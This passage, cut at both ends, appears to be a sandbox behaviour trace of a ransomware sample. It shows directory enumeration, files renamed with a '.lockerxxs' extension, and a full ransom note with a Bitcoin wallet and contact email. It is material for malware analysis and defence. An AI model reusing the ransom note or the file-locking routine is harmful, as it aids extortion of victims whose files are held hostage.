ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.889] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.894] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.901] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.907] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f7098, cFileName=".", cAlternateFileName="")) returned 0x502698 [0076.914] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f7098, cFileName=".", cAlternateFileName="")) returned 0x502698 [0076.917] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f7098, cFileName=".", cAlternateFileName="")) returned 0x502698 [0076.922] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f7098, cFileName=".", cAlternateFileName="")) returned 0x502698 [0076.927] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.930] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.940] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.952] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.961] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f6080, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.968] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.976] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f6080, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.021] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f6080, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.029] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f6080, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.035] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt.lockerxxs" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt.lockerxxs")) returned 1 [0077.041] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.lockerxxs" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt.lockerxxs")) returned 1 [0077.050] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.lockerxxs" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt.lockerxxs")) returned 1 [0077.053] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.lockerxxs" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html.lockerxxs")) returned 1 [0077.056] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdbc64420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbc64420, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.056] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.056] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.059] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.077] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a6, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.077] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.083] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc388620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc388620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.084] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0077.084] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0077.085] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0077.085] CloseHandle (hObject=0x84) returned 1 [0077.086] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff568, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.086] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.099] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdc3ae780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3ae780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.100] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.101] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.101] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.105] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.110] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440020, dwReserved1=0x430045, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.112] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.112] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0077.112] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0077.120] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip.lockerxxs")) returned 1 [0077.124] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip.lockerxxs")) returned 1 [0077.127] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip.lockerxxs")) returned 1 [0077.149] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip.lockerxxs" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip.lockerxxs")) returned 1 [0077.157] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 